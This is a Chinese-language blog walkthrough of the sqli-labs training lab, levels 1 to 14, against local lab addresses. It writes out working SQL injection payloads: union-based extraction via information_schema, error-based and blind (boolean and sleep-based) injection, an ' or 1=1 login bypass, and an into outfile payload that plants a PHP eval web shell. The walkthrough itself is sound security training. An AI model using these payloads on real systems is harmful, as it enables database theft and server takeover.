sqli-labs

2018-01-31  本文已影响0人  __周__

本人萌新,有什么错误的地方希望各位指正,废话不多说


在开始之前,为了方便看到构造的查询语句可以在源码中加一句

echo"你的sql语句为".$sql."<br>"

Less-1

注入点测试
首先先添加一个'查看返回信息

192.168.133.129/sqli/Less-1/?id=1'

返回报错信息,表示存在sql注入漏洞
sql语句如下:SELECT * FROM users WHERE id='1'' LIMIT 0,1

第一步首先先看查询了几个字段,使用"order by (number)"【因为后面的查询需要用到union,所以这个地方需要猜查询了多少字段】

在这之前首先需要人为的构造sql语句使之闭合,正常进行查询
这里说两种可能遇到的sql语句注释符

1. --【空格】 这里的空格一定要有。
2.#

有时候需要进行url编码具体的可以自己去百度


这里输入

192.168.133.129/sqli/Less-1/?id=1'order by 4 --%20
image.png

可以知道前面查询的字段是小于4的

192.168.133.129/sqli/Less-1/?id=1'order by 3 --%20
image.png
那么现在就可以知道查询的字段有3个
第二步查看目标字段在哪个位置显示

【因为sqlib中只能显示1组数据,所以我们需要将前面的主查询改为负或者改为一个较大的数,来使前面的查询为空,从而为后面构造的union查询让出地方】

image.png
第三步 将上面的2,3 进行替换
user()
database()
version()
@@datadir    当前数据库物理地址
@@hostname   这台主机名
@@VERSION   数据库版本
@@version_compile_os  查看操作系统

这里我查的是

image.png

现在可以知道数据库版本为5.5.53;当前数据库为 security。

mysql数据库information_schema,他是系统数据库,默认安装完就存在,其中记录的是当前数据库的数据库,表,列(字段),用户权限等信息,下面说一下常用的几个表

接下来查询表名
192.168.133.129/sqli/Less-1/?id=-1'union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1--%20

可以查询到users表,猜测里面可能有我们想要的账号以及密码

接下来继续查询我们想要的表中的字段
192.168.133.129/sqli/Less-1/?id=-1'union select 1,2,column_name from information_schema.columns where table_name='users' limit 1,1--%20
最后我们可以根据字段直接在users表中进行查询(我这里只是做一个演示,剩下的可以自己去遍历)
image.png

Less-2

跟第一关少了单引号闭合,这里就不多解释了

Less-3

第三关是被单引号括号包裹的,这里需要手工把单引号括号闭合,才能继续往下做

Less-4

第四关是被双引号括号包裹的,这里需要手工把双引号括号闭合,才能继续往下做

Less-5

-第五关一看不管输入什么没有显示,但是显示报错信息,所以这个地方考虑使用报错注入(报错注入无法使用group_concat()只能使用limit来遍历)

192.168.133.129/sqli/Less-5/?id=-1' union select count(*),1,concat('$',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'$',floor(rand()*2))as a from information_schema.tables group by a%23
floor()是取整数
rand()在0和1之间产生一个随机数
rand(0)*2将取0到2的随机数
floor(rand()*2)有两条记录就会报错
floor(rand(0)*2)记录需为3条以上并且3条以上必报错,返回的值是有规律的
count(*)是用来统计结果的
group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入;存在的话count(*)加1

Less-6

第六关是把单引号换为双引号

Less-7

这关就比较尴尬,不进行注入直接写一句话,采用into outfile 进行文件写入

127.0.0.1/s/Less-7/?id=1′)) union select 1,'<?php eval($_POST[“chopper”]);?>’,3 into outfile
‘C:\phpStudy\WWW\q.php’%23

Load_file进行文件读取

http://127.0.0.1/s/Less-7/?id=1′)) union select 1,load_file(“C:/phpStudy/www/s/Less-7/result.txt”),3
into outfile ‘C:\phpStudy\WWW\123.php’%23 

Less-8

第八关,首先尝试没有任何报错,什么也不现实,所以我们要尝试盲注

构造语句:

192.168.133.129/sqli/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>115,1,0)%23

或者不用if函数

192.168.133.129/sqli/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23

如果判断的值是正确的那么就会显示正常的页面

接下来是用二分法一点一点猜

http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64 
http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96 
http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122 
http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122 
http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间 
http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间 
http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间 
http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为 115,即字母s

忙注的过程是很漫长的,一般自己写脚本或者用工具辅助

Less-9

第九关不论输入什么都只输出 you are in ____

布尔类型也解决布料,只能尝试基于时间的盲注

192.168.133.129/sqli/Less-9/?id=1' and sleep(10) %23
192.168.133.129/sqli/Less-9/?id=1' and if(ascii(substr((select database()),1,1))>115,sleep(10),0)%23

Less-10

原理同上,只不过把单引号变为双引号

less-11

打开一看到是一个登陆的页面,于是联想到万能密码

于是构造万能密码' or 1=1 limit 2,1%23,发现不行报错信息中可以知道%23并未被服务器所解析,所以我们换成#;' or 1=1 limit 2,1#继续往下查询,很简单。

less-12

同上,原理相同,把单引号换成括号双引号

less-13


着实被这个题目坑了一把,怎么注入都是搞不出数据,很纳闷,语句没问题就是不出数据,结果经过别人告诉我说这个下面图片变了,我才知道根本就没有数据显示,都是骗人的!!!


image.png

同上,原理相同,把单引号换成括号单引号

less-14

同上,原理相同,把单引号换成双引号

上一篇 下一篇

猜你喜欢

热点阅读